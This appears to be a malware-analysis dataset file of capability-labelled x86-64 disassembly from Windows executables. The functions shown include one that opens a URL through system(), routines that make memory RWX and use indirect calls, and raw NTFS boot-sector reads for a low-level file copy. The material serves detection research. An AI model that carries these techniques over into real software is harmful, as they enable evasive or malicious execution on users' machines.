joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40157d
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call fcn.0040e8c0
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__fileno]
call rax
mov edx, 0x20000
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__setmode]
call rax
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x30
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__fileno]
call rax
mov edx, 0x20000
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__setmode]
call rax
mov edx, 0xa
mov ecx, 0
call fcn.00401530
lea rdx, section..rdata
mov rcx, qword [0x0048c950]
call fcn.0046eff0
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [0x00488048]
mov rcx, qword [0x0048c950]
call fcn.0046eff0
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [0x004880a8]
mov rcx, qword [0x0048c950]
call fcn.0046eff0
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [0x00488130]
mov rcx, qword [0x0048c950]
call fcn.0046eff0
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [0x00488172]
mov rcx, qword [0x0048c950]
call fcn.0046eff0
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov edx, 4
mov ecx, 0
call fcn.00401530
lea rdx, [0x00488190]
mov rcx, qword [0x0048c950]
call fcn.0046eff0
lea rcx, str.start_msedge_https:__www.adat247.click
call sub.msvcrt.dll_system
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.start_msedge_https:__www.youtube.com_watch_vdQw4w9WgXcQ
call sub.msvcrt.dll_system
mov ecx, 0xfa0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4016c8
Function at 0x40df40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004a7064]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40e05a
mov rax, qword [0x004a7068]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40df8e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x40e040
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x40df72
mov rcx, rbx
call fcn.0040ed80
test rax, rax
mov r12, rax
je 0x40e092
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004a7068]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.0040eea0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004a7068]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40e075
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40e039
sub eax, 0x40
and eax, 0xffffffbf
je 0x40e039
mov r9, rbp
add r9, qword [0x004a7068]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40e061
add dword [0x004a7064], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x40df9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040ded0
mov rax, qword [0x004a7068]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.0040ded0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0040ded0
nop
nop word cs:[rax + rax]

Function at 0x40ec90
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40ecd1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40ecc8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40ecd3
add rax, 0x28
cmp rax, r9
jne 0x40ecb4
xor eax, eax
repz ret

Function at 0x40ed80
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x0048cd20]
cmp word [rbx], 0x5a4d
je 0x40eda0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.0040ec50
test eax, eax
je 0x40ed94
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.0040ec90
Function at 0x40eff0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004a79c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004a79a0]
test rbx, rbx
je 0x40f044
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40f03b
test rsi, rsi
je 0x40f03b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40f020
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004a79c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x40f7e0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040f720
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40f8c9
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x40f968
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x40f904
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x40f8f0
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x40f965
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.0040f760
cmp rax, rbx
mov rsi, rax
je 0x40f980
mov rcx, rbx
call fcn.00419d48
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.0040f760
mov rsi, rax
jmp 0x40f93f
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x40f93f
mov rcx, rbx
call r13
jmp 0x40f93f
Function at 0x41a320
Capabilities:
Check mutex on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
mov rcx, qword [0x004a84b8]
mov esi, edx
test rcx, rcx
je 0x41a2c0
call fcn.0041fed0
cmp dword [rbx], 0xbab1f00d
jne 0x41a2e7
mov eax, dword [rbx + 4]
test eax, eax
jle 0x41a2e7
mov eax, dword [rbx + 4]
test eax, eax
jle 0x41a273
mov eax, dword [rbx + 4]
sub eax, 1
mov dword [rbx + 4], eax
mov rcx, qword [0x004a84b8]
test rcx, rcx
je 0x41a290
call fcn.0041ff80
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea r8, [0x0041a000]
lea rcx, str.mutex_global_shmem
mov edx, 8
call fcn.00420060
mov rcx, rax
mov qword [0x004a84b8], rax
call fcn.0041ff80
mov eax, esi
add rsp, 0x38
pop rbx
pop rsi
ret
lea rcx, str.mutex_global_shmem
lea r8, [0x0041a000]
mov edx, 8
call fcn.00420060
mov rcx, rax
mov qword [0x004a84b8], rax
jmp 0x41a247
call qword [sym.imp.msvcrt.dll___iob_func]
lea r9, str.C:_crossdev_src_winpthreads_git20141130_src_mutex.c
lea rcx, [rax + 0x60]
lea r8, str._m___valid__LIFE_MUTEX____m___busy___0_
lea rdx, [0x0048c020]
mov dword [rsp + 0x20], 0x39
call sub.msvcrt.dll_fprintf
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop
lea r8, [0x0041a000]
lea rcx, str.mutex_global_shmem
mov edx, 8
jmp fcn.00420060

Function at 0x41ba60
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004a8528]
test rbx, rbx
je 0x41ba90
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004a8528]
test rax, rax
je 0x41bab4
cmp dword [rax], 0xffffffff
je 0x41bad5
add rsp, 0x20
pop rbx
ret
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov rbx, rax
mov qword [0x004a8528], rax
jmp 0x41ba71
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov qword [0x004a8528], rax
jmp 0x41ba85
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
Function at 0x41bf70
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004a8530]
test rcx, rcx
je 0x41c0b0
call fcn.0041bee0
mov rax, qword [0x004a8528]
test rax, rax
je 0x41c0d3
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x41bfb3
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0041b8b0
test rax, rax
mov rbx, rax
je 0x41c11b
cmp qword [0x004ab050], 0
je 0x41c11b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41c122
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004a8528]
test rax, rax
je 0x41c0f7
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41c122
mov rax, rbx
jmp 0x41bfaa
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00420060
mov rcx, rax
mov qword [0x004a8530], rax
jmp 0x41bf88
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov qword [0x004a8528], rax
jmp 0x41bf9d
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov qword [0x004a8528], rax
jmp 0x41c098
xor eax, eax
jmp 0x41bfaa
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.00420060
Function at 0x41c130
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004a8530]
test rcx, rcx
je 0x41c0b0
call fcn.0041bee0
mov rax, qword [0x004a8528]
test rax, rax
je 0x41c0d3
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x41bfb3
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0041b8b0
test rax, rax
mov rbx, rax
je 0x41c11b
cmp qword [0x004ab050], 0
je 0x41c11b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41c122
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004a8528]
test rax, rax
je 0x41c0f7
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41c122
mov rax, rbx
jmp 0x41bfaa
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00420060
mov rcx, rax
mov qword [0x004a8530], rax
jmp 0x41bf88
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov qword [0x004a8528], rax
jmp 0x41bf9d
lea r8, [0x0041aef0]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00420060
mov qword [0x004a8528], rax
jmp 0x41c098
xor eax, eax
jmp 0x41bfaa
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.00420060
Function at 0x420060
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov r14, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x51]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040f720
sub rsp, rax
movsxd r15, r14d
movabs rax, 0x656d68732d636367
lea rsi, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r15
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [rsi + r15 + 0x10]
lea r15d, [r14 + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, rsi
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r15d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x420149
int3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x4201e2
mov rcx, r12
add r14d, 0x10
call sub.msvcrt.dll_malloc
mov r10d, 0x40
mov rbx, rax
bt rbx, r10
jae 0x420184
mov r11d, r15d
sub r11d, r10d
movsxd r11, r11d
mov byte [rsi + r11], 0x41
sub r10d, 1
jne 0x420170
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x4201df
mov rdx, rsi
movzx ecx, ax
mov r9d, r14d
mov r8d, r15d
call fcn.0041ffe0
cmp rax, rbx
mov rsi, rax
je 0x4201f9
mov rcx, rbx
call fcn.00419d48
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [r14 + 0x10]
mov rdx, rsi
movzx ecx, ax
mov r8d, r15d
call fcn.0041ffe0
mov rsi, rax
jmp 0x4201b9
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x4201b9
mov rcx, rbx
call r13
jmp 0x4201b9

Function at 0x421ad0
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00471770]
lea rcx, str.__terminate_handler_sh
mov edx, 8
jmp fcn.0040f7e0

Function at 0x421af0
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00471780]
lea rcx, str.__unexpected_handler_sh
mov edx, 8
jmp fcn.0040f7e0
Function at 0x451bb0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
mov rcx, rbp
call fcn.00451a90
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x451c00
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x451bca
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140003164
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov r14, rdx
mov rsi, rcx
mov rdx, rcx
lea rcx, str.Trying_low_level_copy_____s
call fcn.1400040fc
mov r8d, 0x104
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.14000d620
lea rcx, [rbp - 0x50]
call fcn.14001142c
movzx eax, word [0x1400217d0]
lea rdx, [rbp - 0x50]
movsd xmm0, qword [str.._]
lea rcx, [rbp - 0x80]
mov word [rbp - 0x78], ax
xor eax, eax
movsd qword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x76], xmm0
mov qword [rbp - 0x66], rax
lea r8d, [rax + 2]
mov dword [rbp - 0x5e], eax
mov word [rbp - 0x5a], ax
call fcn.14000d31c
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and dword [rsp + 0x28], 0
mov r8d, 3
xor r9d, r9d
mov dword [rsp + 0x20], r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000324b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._Main___Open_Disk_Error_:__d
mov edx, eax
call fcn.1400040fc
xor eax, eax
jmp 0x140003391
mov ecx, 0x200
call fcn.140004268
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x200
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003286
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._Main___Read_BootSector_Error_:__d
jmp 0x14000323d
cmp dword [rbx + 3], 0x5346544e
jne 0x140003391
mov rax, qword [rbx + 0x30]
mov r11d, 1
mov edx, dword [rbx + 0x40]
movzx r9d, word [rbx + 0xb]
movzx r8d, byte [rbx + 0xd]
mov r10, qword [rbx + 0x28]
mov qword [rsp + 0x4b], rax
mov rax, qword [rbx + 0x38]
mov qword [rsp + 0x53], rax
mov eax, dword [rbx + 0x44]
mov dword [rsp + 0x5f], eax
mov word [rsp + 0x40], r9w
mov byte [rsp + 0x42], r8b
mov qword [rsp + 0x43], r10
mov dword [rsp + 0x5b], edx
cmp edx, 0x80
jl 0x1400032ef
mov eax, r11d
mov cl, dl
neg cl
shl eax, cl
mov qword [rsp + 0x63], rax
jmp 0x1400032fe
mov ecx, r8d
imul ecx, r9d
imul ecx, edx
mov qword [rsp + 0x63], rcx
mov rdx, r8
imul rdx, r9
mov qword [rsp + 0x6b], rdx
test r8b, r8b
je 0x14000331c
xor edx, edx
mov rax, r10
div r8
mov qword [rsp + 0x73], rax
movups xmm0, xmmword [rsp + 0x40]
movzx eax, word [rsp + 0x78]
mov rdx, r11
movups xmm1, xmmword [rsp + 0x50]
mov word [0x14002fa20], ax
mov rcx, rbx
mov al, byte [rsp + 0x7a]
movups xmmword [0x14002f9e8], xmm0
mov byte [0x14002fa22], al
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [0x14002f9f8], xmm1
movsd xmm1, qword [rsp + 0x70]
movups xmmword [0x14002fa08], xmm0
movsd qword [0x14002fa18], xmm1
call fcn.140007374
mov r8, r14
lea rdx, [rbp - 0x4a]
mov rcx, rdi
call fcn.140003ebc
test eax, eax
jne 0x140003391
mov rdx, rsi
lea rcx, str.LowLevelcopy_failed__s
call fcn.1400040fc
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140007650
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003cc8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rbx, rcx
mov rcx, qword [0x14002fa0b]
call fcn.140004268
movzx r8d, word [0x14002f9e8]
xor r9d, r9d
movzx edx, byte [0x14002f9ea]
mov rcx, rbx
imul rdx, r8
xor r8d, r8d
mov rdi, rax
imul rdx, qword [0x14002f9f3]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [0x14002fa0b]
xor r9d, r9d
and qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003d53
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._NTFS_Initialize___Read_MFT_entry_error:__d
call fcn.1400040fc
jmp 0x140003d9e
mov rdx, qword [0x14002fa0b]
mov rcx, rdi
call fcn.1400030b0
cmp dword [rdi], 0x454c4946
je 0x140003d73
lea rcx, str._NTFS_Initialize___RootDirectory_Error
jmp 0x140003d99
movzx ebx, word [rdi + 0x14]
add rbx, rdi
or ecx, 0xffffffff
jmp 0x140003d8c
cmp eax, 0x80
je 0x140003dbb
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
cmp eax, ecx
jne 0x140003d7f
lea rcx, str._NTFS_Initialize___Something_Went_Wrong_1
call fcn.1400040fc
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
cmp byte [rbx + 8], 0
jne 0x140003dca
lea rcx, str._NTFS_Initialize___Error:_Non_Resident_Flag_must_be_01_here.
jmp 0x140003d99
movzx edi, word [rbx + 0x20]
xor r14d, r14d
mov rax, qword [rbx + 0x18]
add rdi, rbx
xor esi, esi
add rax, 1
je 0x140003eb0
mov eax, dword [rbx + 4]
add rax, rbx
cmp rdi, rax
jae 0x140003eb0
movzx edx, byte [rdi]
mov rbp, qword [rdi + 1]
mov r9d, edx
shr r9d, 4
and edx, 0xf
cmp edx, 8
jae 0x140003e20
or rax, 0xffffffffffffffff
lea ecx, [rdx*8]
shr rax, cl
shl rax, cl
not rax
and rbp, rax
or r8, 0xffffffffffffffff
lea r10d, [r9*8]
mov ecx, r10d
shr r8, cl
shl r8, cl
not r8
and r8, qword [rdx + rdi + 1]
inc edx
add edx, r9d
add rdi, rdx
test r8, r8
je 0x140003ea0
cmp r9d, 8
jae 0x140003e9d
lea ecx, [r10 - 1]
mov rax, r8
sar rax, cl
cmp rax, 1
jne 0x140003e7f
mov ecx, r10d
mov qword [rsp + 0x38], rbp
lea rdx, [rsp + 0x30]
shl eax, cl
movsxd rcx, eax
sub r8, rcx
add rsi, r8
mov qword [rsp + 0x30], rsi
jmp 0x140003e91
add rsi, r8
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x40]
lea rcx, [0x14002fa28]
call fcn.140004450
add r14, rbp
mov rcx, qword [rbx + 0x18]
inc rcx
cmp r14, rcx
jb 0x140003de4
mov eax, 1
jmp 0x140003da0
Function at 0x1400051ac
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9, rcx
lea r8, [0x140021854]
lea rcx, [rsp + 0x160]
mov edx, 0x104
xor ebx, ebx
call fcn.140006e30
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005209
or eax, eax
jmp 0x140005254
lea rdx, [0x14002185c]
lea rcx, [rsp + 0x4c]
call qword [0x14002ecb8]
test eax, eax
je 0x140005237
lea rdx, [0x140021860]
lea rcx, [rsp + 0x4c]
call qword [0x14002ecb8]
test eax, eax
je 0x140005237
inc ebx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140005209
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140007650
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret

Function at 0x1400061fc
